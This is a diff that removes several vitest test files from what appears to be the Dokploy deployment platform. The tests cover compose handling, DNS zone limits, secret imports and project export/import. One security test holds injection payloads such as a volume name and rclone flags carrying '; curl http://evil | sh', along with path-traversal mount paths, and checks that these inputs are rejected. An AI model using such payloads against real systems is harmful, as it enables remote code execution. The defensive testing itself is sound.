labels:
custom: keep
listed:
image: alpine:latest
labels:
- custom=keep
`,
composeId: "compose-1",
name: "app $DB_PASSWORD",
composePath: "./docker-compose.yml",
composeType: "stack",
environment: {
environmentId: "env-1",
name: "env ${HOME}",
projectId: "project-1",
project: { name: "Budget $100", organizationId: "org-1" },
},
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: null,
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
const escaped = {
"dokploy.project": "Budget $$100",
"dokploy.environment": "env $${HOME}",
"dokploy.application": "app $$DB_PASSWORD",
};
const mapped = converted?.services?.mapped;
expect(mapped?.labels).toMatchObject({ custom: "keep", ...escaped });
expect(mapped?.deploy?.labels).toMatchObject({
custom: "keep",
...escaped,
});
const listed = converted?.services?.listed;
const asList = Object.entries(escaped).map(([k, v]) => `${k}=${v}`);
expect(listed?.labels).toEqual(
expect.arrayContaining(["custom=keep", ...asList]),
);
expect(listed?.deploy?.labels).toEqual(expect.arrayContaining(asList));
});
});
@@ -1,113 +0,0 @@
import type { Compose, ComposeSpecification } from "@dokploy/server";
import {
addAppNameToPreventCollision,
addSuffixToAllProperties,
} from "@dokploy/server";
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { expect, test, vi } from "vitest";
import { stringify } from "yaml";
import composeSpec from "../../../components/shared/compose-spec.json";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
const modelCompose = {
services: {
app: {
image: "my-chat-app",
models: ["llm"],
},
worker: {
image: "my-worker",
models: {
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
},
},
},
models: {
llm: {
model: "ai/smollm2",
context_size: 2048,
runtime_flags: ["--verbose"],
},
},
} satisfies ComposeSpecification;
test("bundled compose schema declares models", () => {
expect(composeSpec.properties).toHaveProperty("models");
expect(composeSpec.definitions.model.required).toEqual(["model"]);
expect(composeSpec.definitions.service.properties).toHaveProperty("models");
});
test("suffixing does not rename model identifiers or drop model config", () => {
const updated = addSuffixToAllProperties(
structuredClone(modelCompose),
"testhash",
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.models?.llm?.context_size).toBe(2048);
expect(updated.models?.llm?.runtime_flags).toEqual(["--verbose"]);
expect(updated.services?.["app-testhash"]?.models).toEqual(["llm"]);
expect(updated.services?.["worker-testhash"]?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
expect(updated.services).not.toHaveProperty("app");
expect(updated.models).not.toHaveProperty("llm-testhash");
});
test("isolated deployment preserves model identifiers", () => {
const updated = addAppNameToPreventCollision(
structuredClone(modelCompose),
"chat-app",
false,
);
expect(updated.models?.llm?.model).toBe("ai/smollm2");
expect(updated.services?.app?.models).toEqual(["llm"]);
expect(updated.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
test("raw remote compose conversion preserves models", async () => {
const converted = await addDomainToCompose(
{
appName: "chat-app",
composeFile: stringify(modelCompose, { lineWidth: 1000 }),
composePath: "./docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Compose,
[],
);
expect(execAsyncRemote).not.toHaveBeenCalled();
expect(converted?.models?.llm?.model).toBe("ai/smollm2");
expect(converted?.services?.app?.models).toEqual(["llm"]);
expect(converted?.services?.worker?.models).toEqual({
llm: {
endpoint_var: "LLM_URL",
model_var: "LLM_MODEL",
},
});
});
@@ -1,66 +0,0 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockUpdateCompose = vi.hoisted(() => vi.fn());
vi.mock("@dokploy/server/services/permission", () => ({
checkServicePermissionAndAccess: vi.fn(async () => undefined),
}));
vi.mock("@dokploy/server", () => ({
IS_CLOUD: true,
findComposeById: vi.fn(async () => ({
composeId: "compose-1",
name: "example-compose",
})),
updateCompose: mockUpdateCompose,
}));
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(),
}));
vi.mock("@/server/api/utils/audit", () => ({
audit: vi.fn(async () => undefined),
}));
vi.mock("@/server/queues/queueSetup", () => ({
cleanQueuesByCompose: vi.fn(),
killDockerBuild: vi.fn(),
myQueue: {
add: vi.fn(),
},
}));
const { composeRouter } = await import("@/server/api/routers/compose");
const caller = composeRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-1", email: "user@example.com", role: "owner" },
} as Parameters<typeof composeRouter.createCaller>[0]);
describe("saving a compose provider", () => {
beforeEach(() => {
vi.clearAllMocks();
});
it.each(["done", "running"])(
"keeps the %s status when disconnecting a Git provider",
async (status) => {
let savedStatus = status;
mockUpdateCompose.mockImplementation(async (_id, update) => {
if (update.composeStatus !== undefined) {
savedStatus = update.composeStatus;
}
});
await caller.disconnectGitProvider({ composeId: "compose-1" });
expect(savedStatus).toBe(status);
expect(mockUpdateCompose).toHaveBeenCalledTimes(1);
expect(mockUpdateCompose).toHaveBeenCalledWith(
"compose-1",
expect.objectContaining({ sourceType: "github" }),
);
},
);
});
-61
View File
@@ -166,16 +166,6 @@ describe("ovhClient.listZones", () => {
await expect(ovhClient.listZones(cfg)).rejects.toThrow("Invalid signature");
});
it("returns only the configured zone without listing every zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const zones = await ovhClient.listZones(cfg);
expect(zones).toEqual([{ id: "example.com", name: "example.com" }]);
expect(apiCalls()).toHaveLength(0);
});
});
describe("ovhClient.listRecords", () => {
@@ -588,55 +578,4 @@ describe("ovhClient.testConnection", () => {
"Invalid signature",
);
});
it("checks the configured zone instead of listing all zones", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess({ name: "example.com" }));
await expect(ovhClient.testConnection(cfg)).resolves.toBeUndefined();
const calls = apiCalls();
expect(calls).toHaveLength(1);
expect(calls[0]?.[0]).toBe(`${cfg.baseUrl}/domain/zone/example.com`);
});
});
describe("ovhClient with a configured zone", () => {
const record = {
type: "A" as const,
name: "app.other.org",
content: "1.2.3.4",
};
it("refuses record operations on any other zone without calling OVH", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi();
const message = /restricted to the zone "example.com"/;
await expect(ovhClient.listRecords(cfg, "other.org")).rejects.toThrow(
message,
);
await expect(
ovhClient.upsertRecord(cfg, { ...record, zoneId: "other.org" }),
).rejects.toThrow(message);
await expect(
ovhClient.updateRecord(cfg, "other.org", "1", record),
).rejects.toThrow(message);
await expect(ovhClient.deleteRecord(cfg, "other.org", "1")).rejects.toThrow(
message,
);
expect(apiCalls()).toHaveLength(0);
});
it("still allows operations on the configured zone", async () => {
const cfg = { ...freshConfig(), zone: "example.com" };
mockApi(ovhSuccess(null), ovhSuccess(null));
await expect(
ovhClient.deleteRecord(cfg, "example.com", "1"),
).resolves.toBeUndefined();
expect(apiCalls()[0]?.[0]).toBe(
`${cfg.baseUrl}/domain/zone/example.com/record/1`,
);
});
});
-71
View File
@@ -472,77 +472,6 @@ describe("infisical client", () => {
expect(params.get("secretPath")).toBe("/frontend");
});
it("asks for imported secrets and merges them", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://imported" });
const [listUrl] = mockFetch.mock.calls[1] as [string];
// snake_case on purpose: `includeImports` is silently ignored and the
// response comes back with an empty `imports` array.
expect(new URL(listUrl).searchParams.get("include_imports")).toBe("true");
});
it("lets the later import win when two define the same key", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [],
imports: [
{
secretPath: "/base",
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://base" }],
},
{
secretPath: "/override",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://override" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
// Infisical documents this order: "If two imports carry a secret with the
// same name, the value from the bottom-most import wins." The response
// lists imports in that order, so assigning them in sequence matches it.
expect(result).toEqual({ DB_URL: "postgres://override" });
});
it("lets a folder's own secret win over an imported one of the same name", async () => {
mockFetch.mockResolvedValueOnce(loginResponse()).mockResolvedValueOnce(
jsonResponse({
secrets: [{ secretKey: "DB_URL", secretValue: "postgres://local" }],
imports: [
{
secretPath: "/shared",
secrets: [
{ secretKey: "DB_URL", secretValue: "postgres://imported" },
],
},
],
}),
);
const result = await infisicalClient.getSecrets(config, ["DB_URL"]);
expect(result).toEqual({ DB_URL: "postgres://local" });
});
it("throws a clear error for a missing secret", async () => {
mockFetch
.mockResolvedValueOnce(loginResponse())
@@ -1,127 +0,0 @@
import { projects, projectTags, tags } from "@dokploy/server/db/schema";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {
projectId: "project-src",
name: "src",
env: "",
tags: [
{ name: "prod", color: "#f00" },
{ name: "billing", color: null },
],
},
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
describe("apply project tags", () => {
it("reuses an existing tag by name and creates the missing one", async () => {
const inserted = new Map<unknown, Record<string, unknown>[]>();
const writeDb = {
query: {
tags: {
findFirst: async (args: {
where: (f: unknown, o: unknown) => unknown;
}) => {
const captured: unknown[] = [];
args.where(new Proxy({}, { get: (_t, prop) => String(prop) }), {
and: (...v: unknown[]) => v,
eq: (a: unknown, b: unknown) => captured.push([a, b]),
});
const nameArg = captured.find(
(c) => (c as [unknown, unknown])[0] === "name",
) as [unknown, string] | undefined;
return nameArg?.[1] === "prod"
? { tagId: "tag-existing", name: "prod" }
: undefined;
},
},
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const row = { ...values };
if (table === projects) row.projectId = "project-new";
if (table === tags) row.tagId = "tag-new";
const list = inserted.get(table) ?? [];
list.push(row);
inserted.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...writeDb }),
} as unknown as TransferWriteDb;
await apply(writeDb, snapshot, plan, new Map(), "org-dest");
expect(inserted.get(projects)?.[0]).not.toHaveProperty("tags");
expect(inserted.get(tags)).toEqual([
{
name: "billing",
color: null,
organizationId: "org-dest",
tagId: "tag-new",
},
]);
expect(inserted.get(projectTags)).toEqual([
{ projectId: "project-new", tagId: "tag-existing" },
{ projectId: "project-new", tagId: "tag-new" },
]);
});
});
File diff suppressed because it is too large Load Diff
@@ -1,92 +0,0 @@
import {
regenerateAppName,
replaceAppNames,
rewriteSslipIoIp,
rewriteVolumeName,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
describe("regenerateAppName", () => {
it("strips the last hyphen segment and rebuilds a fresh suffix", () => {
const result = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(result).not.toBe("myapp-verb-noun-ab12cd");
expect(result.startsWith("myapp-verb-noun-")).toBe(true);
});
it("handles an app name with no hyphen", () => {
const result = regenerateAppName("application", "singleword");
expect(result.startsWith("singleword-")).toBe(true);
});
it("produces a different name on every call", () => {
const first = regenerateAppName("application", "myapp-verb-noun-ab12cd");
const second = regenerateAppName("application", "myapp-verb-noun-ab12cd");
expect(first).not.toBe(second);
});
});
describe("replaceAppNames", () => {
it("replaces a standalone app name reference", () => {
const result = replaceAppNames("DEPLOY_TARGET=app-foo ready", {
"app-foo": "app-bar",
});
expect(result).toBe("DEPLOY_TARGET=app-bar ready");
});
it("does not touch a key that only matches mid-token (left boundary)", () => {
const result = replaceAppNames("myapp-foo deployed", { foo: "bar" });
expect(result).toBe("myapp-foo deployed");
});
it("prefers the longest match when both names are in the map (prefix collision)", () => {
const result = replaceAppNames("app-foo-bar and app-foo both here", {
"app-foo": "short-renamed",
"app-foo-bar": "long-renamed",
});
expect(result).toBe("long-renamed and short-renamed both here");
});
it("returns the text unchanged when the map is empty", () => {
expect(replaceAppNames("app-foo", {})).toBe("app-foo");
});
it("returns null/empty text unchanged", () => {
expect(replaceAppNames("", { "app-foo": "app-bar" })).toBe("");
});
});
describe("rewriteVolumeName", () => {
it("reports rewritten: true when the name changes", () => {
const result = rewriteVolumeName("app-foo-data", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "app-bar-data", rewritten: true });
});
it("reports rewritten: false when nothing matches", () => {
const result = rewriteVolumeName("unrelated-volume", {
"app-foo": "app-bar",
});
expect(result).toEqual({ value: "unrelated-volume", rewritten: false });
});
});
describe("rewriteSslipIoIp", () => {
it("swaps the trailing IP segment of an auto-generated sslip.io host for the destination's IP", () => {
const result = rewriteSslipIoIp(
"my-app-ab12cd-10-0-0-5.sslip.io",
"203.0.113.9",
);
expect(result).toBe("my-app-ab12cd-203-0-113-9.sslip.io");
});
it("leaves a non-sslip.io host untouched", () => {
const result = rewriteSslipIoIp("api.example.com", "203.0.113.9");
expect(result).toBe("api.example.com");
});
it("leaves the host untouched when no destination IP is known", () => {
const result = rewriteSslipIoIp("my-app-ab12cd-10-0-0-5.sslip.io", null);
expect(result).toBe("my-app-ab12cd-10-0-0-5.sslip.io");
});
});
@@ -1,198 +0,0 @@
import { PassThrough } from "node:stream";
import { beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { streamBox } = vi.hoisted(() => ({
streamBox: { content: Buffer.from("bundle bytes"), exitCode: 0 },
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(
async (destinationId: string, organizationId: string) => {
if (destinationId === "dest-1" && organizationId === "org-1") {
return { destinationId, bucket: "b", organizationId };
}
throw new Error("Destination not found");
},
),
listBundles: vi.fn(async () => [
{
key: `${actual.EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`,
size: streamBox.content.length,
modTime: "2024-01-01T00:00:00.000Z",
},
]),
streamBundleFromDestination: vi.fn(async () => {
const stdout = new Pass();
const stdin = new Pass();
stdin.resume();
process.nextTick(() => stdout.end(streamBox.content));
return {
stdin,
stdout,
stderr: new Pass(),
exit: Promise.resolve(streamBox.exitCode),
close: () => {},
};
}),
};
},
);
const { assertTransferPermission, EXPORTS_DIRECTORY } = await import(
"@dokploy/server/services/project-export-import"
);
const handler = (await import("../../pages/api/project-export-import/bundle"))
.default;
const buildReq = (query: Record<string, string>, method = "GET") => ({
method,
query,
headers: {},
});
const buildRes = () => {
const body = new PassThrough();
const chunks: Buffer[] = [];
body.on("data", (chunk) => chunks.push(chunk as Buffer));
const res = body as unknown as PassThrough & {
statusCode: number;
jsonBody?: unknown;
headers: Record<string, unknown>;
status: (code: number) => typeof res;
json: (value: unknown) => void;
setHeader: (key: string, value: unknown) => void;
body: () => Buffer;
};
res.statusCode = 200;
res.headers = {};
res.status = (code) => {
res.statusCode = code;
return res;
};
res.json = (value) => {
res.jsonBody = value;
res.end();
};
res.setHeader = (key, value) => {
res.headers[key] = value;
};
res.body = () => Buffer.concat(chunks);
return res;
};
const goodKey = `${EXPORTS_DIRECTORY}/p-1.dokploy.tar.gz`;
beforeEach(() => {
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
streamBox.exitCode = 0;
});
describe("bundle download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(401);
});
it("rejects keys outside the exports directory or with the wrong extension", async () => {
for (const key of [
"backups/prod.sql.gz",
`${EXPORTS_DIRECTORY}/../secret.dokploy.tar.gz`,
`${EXPORTS_DIRECTORY}/notes.txt`,
]) {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key }) as any,
res as any,
);
expect(res.statusCode).toBe(400);
}
});
it("rejects a non-owner caller", async () => {
vi.mocked(assertTransferPermission).mockRejectedValueOnce(
new Error("Only organization owners and admins can do that"),
);
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(403);
});
it("returns 404 for a destination outside the organization", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-other", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("returns 404 for a bundle that is not in the listing", async () => {
const res = buildRes();
await handler(
buildReq({
destinationId: "dest-1",
key: `${EXPORTS_DIRECTORY}/missing.dokploy.tar.gz`,
}) as any,
res as any,
);
expect(res.statusCode).toBe(404);
});
it("streams the object with the right headers", async () => {
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(200);
expect(res.headers["Content-Length"]).toBe(streamBox.content.length);
expect(res.headers["Content-Disposition"]).toContain("p-1.dokploy.tar.gz");
expect(res.body().equals(streamBox.content)).toBe(true);
});
it("answers with a JSON error when listing the destination fails", async () => {
const { listBundles } = await import(
"@dokploy/server/services/project-export-import"
);
vi.mocked(listBundles).mockRejectedValueOnce(new Error("bad credentials"));
const res = buildRes();
await handler(
buildReq({ destinationId: "dest-1", key: goodKey }) as any,
res as any,
);
expect(res.statusCode).toBe(502);
});
});
@@ -1,182 +0,0 @@
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import { apply } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const manifest: Snapshot["manifest"] = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
};
const plan = (overrides: Partial<Plan> = {}): Plan => ({
target: { kind: "newProject", name: "p" },
resolutions: {},
serverMap: { null: null },
appNameMap: { "web-abc123": "web-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
...overrides,
});
const writeDb = () =>
({
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [
{
...values,
projectId: "project-new",
environmentId: "env-new",
applicationId: "app-new",
destinationId: "dest-new",
},
],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => fn(writeDb()),
}) as unknown as TransferWriteDb;
const appWith = (mount: Record<string, unknown>): Snapshot => ({
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [{ environmentId: "env-1", name: "production", env: "" }],
services: [
{
kind: "application",
applicationId: "app-1",
appName: "web-abc123",
environmentId: "env-1",
mounts: [mount],
},
],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
});
describe("apply rejects unsafe bundle rows", () => {
it("refuses a file mount whose filePath escapes the service directory", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "file",
filePath: "../../../etc/cron.d/x",
content: "* * * * * root id",
mountPath: "/x",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Unsafe mount filePath/);
});
it("refuses a volume mount with a shell-unsafe volume name", async () => {
const snapshot = appWith({
mountId: "m-1",
type: "volume",
volumeName: "x:/v; curl evil | sh; #",
mountPath: "/data",
});
await expect(
apply(writeDb(), snapshot, plan(), new Map(), "org-dest"),
).rejects.toThrow(/Invalid volume name/);
});
it("refuses a destination whose additional rclone flags don't match the API rule", async () => {
const snapshot: Snapshot = {
manifest,
resources: {
project: { projectId: "project-src", name: "p", env: "" },
environments: [],
services: [],
shared: {
destination: [
{
destinationId: "dest-src",
name: "backups",
bucket: "b",
endpoint: "e",
region: "r",
accessKey: "$secret:a",
secretAccessKey: "$secret:b",
additionalFlags: ["; curl http://evil | sh #"],
},
],
},
},
requirements: [
{
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "b",
endpoint: "e",
region: "r",
},
],
warnings: [],
dumps: [],
};
await expect(
apply(
writeDb(),
snapshot,
plan({
resolutions: {
"destination:dest-src": {
requirementKey: "destination:dest-src",
action: "create",
},
},
}),
new Map([
["a", "ak"],
["b", "sk"],
]),
"org-dest",
),
).rejects.toThrow(/invalid additional rclone flags/);
});
});
@@ -1,440 +0,0 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
CaptureNotFoundError,
capture,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const application1 = {
applicationId: "app-1",
name: "app-1",
appName: "app-one",
environmentId: "env-1",
env: "DB_PASS=hunter2\nAPI_KEY=abc123",
buildArgs: null,
serverId: "server-1",
buildServerId: "server-1",
githubId: "gh-1",
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [
{ domainId: "dom-1", host: "app-1.example.com", createdAt: "2024-01-01" },
],
mounts: [
{
mountId: "mount-1",
type: "file",
content: "server { listen 80; }",
createdAt: "2024-01-01",
},
{
mountId: "mount-2",
type: "bind",
content: null,
createdAt: "2024-01-01",
},
],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpass",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const application2 = {
applicationId: "app-2",
name: "app-2",
appName: "app-two",
environmentId: "env-2",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres1 = {
postgresId: "pg-1",
name: "pg-1",
appName: "pg-one",
environmentId: "env-1",
env: "PGPASS=supersecret",
databasePassword: "realdbpassword",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [
{
backupId: "backup-1",
createdAt: "2024-01-01T00:00:00.000Z",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "metasecret" },
},
},
],
volumeBackups: [],
};
const mysql1 = {
mysqlId: "mysql-1",
name: "mysql-1",
appName: "mysql-one",
environmentId: "env-1",
env: "",
serverId: "server-1",
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application1],
postgres: [postgres1],
mysql: [mysql1],
...emptyServiceArrays,
},
{
environmentId: "env-2",
name: "staging",
projectId: "project-1",
env: "",
isDefault: false,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application2],
postgres: [],
mysql: [],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: {
findFirst: async () => projectTree,
},
environments: {
findFirst: async () => undefined,
},
applications: {
findMany: async () => [application1, application2],
findFirst: async () => undefined,
},
schedules: {
findMany: async () => [],
},
volumeBackups: {
findMany: async () => [],
},
},
}) as any;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const noopOpts = {
detectRequirements: () => [],
detectWarnings: () => [],
};
describe("capture", () => {
it("throws CaptureNotFoundError when the project doesn't exist", async () => {
const db = {
query: {
projects: { findFirst: async () => undefined },
environments: { findFirst: async () => undefined },
},
} as any as TransferDb;
await expect(
capture(db, { kind: "project", id: "missing" }, baseScope, noopOpts),
).rejects.toThrow(CaptureNotFoundError);
});
it("filters by environmentIds and serviceIds", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{
...baseScope,
environmentIds: ["env-1"],
serviceIds: ["app-1", "pg-1"],
},
noopOpts,
);
expect(result.resources.environments).toHaveLength(1);
expect(result.resources.environments[0]?.environmentId).toBe("env-1");
expect(result.resources.services).toHaveLength(2);
const ids = result.resources.services
.map((s) => (s.applicationId ?? s.postgresId) as string)
.sort();
expect(ids).toEqual(["app-1", "pg-1"]);
});
it("never leaks NEVER_EXPORT_FIELDS", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
for (const forbidden of [
"server-1",
"gh-1",
"webhook-token-1",
"2024-01-01T00:00:00.000Z",
]) {
expect(serialized).not.toContain(forbidden);
}
});
it("replaces every SECRET_FIELDS value with $secret: and recovers it via secretsPlain", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
baseScope,
noopOpts,
);
const serialized = JSON.stringify(result.resources);
expect(serialized).not.toContain("hunter2");
expect(serialized).not.toContain("abc123");
expect(serialized).not.toContain("supersecret");
expect(serialized).not.toContain("basicauthpass");
expect(serialized).not.toContain("server { listen 80; }");
expect(serialized).not.toContain("realdbpassword");
expect(serialized).not.toContain("metasecret");
const pg1Resource = result.resources.services.find(
(s) => s.postgresId === "pg-1",
) as Record<string, unknown>;
expect(String(pg1Resource.databasePassword)).toMatch(/^\$secret:/);
expect(
result.secretsPlain.get(
String(pg1Resource.databasePassword).slice("$secret:".length),
),
).toBe("realdbpassword");
const pgBackups = pg1Resource.backups as Record<string, unknown>[];
expect(String(pgBackups[0]?.metadata)).toMatch(/^\$secret:/);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toMatch(
/^DB_PASS=\$secret:.+\nAPI_KEY=\$secret:.+$/,
);
const dbPassId = (app1Resource.env as string).match(
/DB_PASS=\$secret:([^\n]+)/,
)?.[1];
expect(dbPassId).toBeDefined();
expect(result.secretsPlain.get(dbPassId as string)).toBe("hunter2");
const mounts = app1Resource.mounts as Record<string, unknown>[];
const fileMount = mounts.find((m) => m.mountId === "mount-1");
expect(String(fileMount?.content)).toMatch(/^\$secret:/);
const bindMount = mounts.find((m) => m.mountId === "mount-2");
expect(bindMount?.content).toBeNull();
const security = app1Resource.security as Record<string, unknown>[];
expect(String(security[0]?.password)).toMatch(/^\$secret:/);
});
it("redacts secrets instead of capturing them when includeEnvSecrets is false", async () => {
const result = await capture(
fakeDb(),
{ kind: "project", id: "project-1" },
{ ...baseScope, includeEnvSecrets: false },
noopOpts,
);
expect(result.secretsPlain.size).toBe(0);
const app1Resource = result.resources.services.find(
(s) => s.applicationId === "app-1",
) as Record<string, unknown>;
expect(app1Resource.env).toBe(
"DB_PASS=$secret:REDACTED\nAPI_KEY=$secret:REDACTED",
);
});
it("redacts a vault provider's config when exported by value (shared.vault, not shared.vaultProvider)", async () => {
const db = {
query: {
...(fakeDb() as any).query,
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
config: { token: "s.super-secret-vault-token" },
assignments: [
{ projectId: "old-project", environmentIds: ["old-env"] },
],
}),
},
},
} as any as TransferDb;
const result = await capture(
db,
{ kind: "project", id: "project-1" },
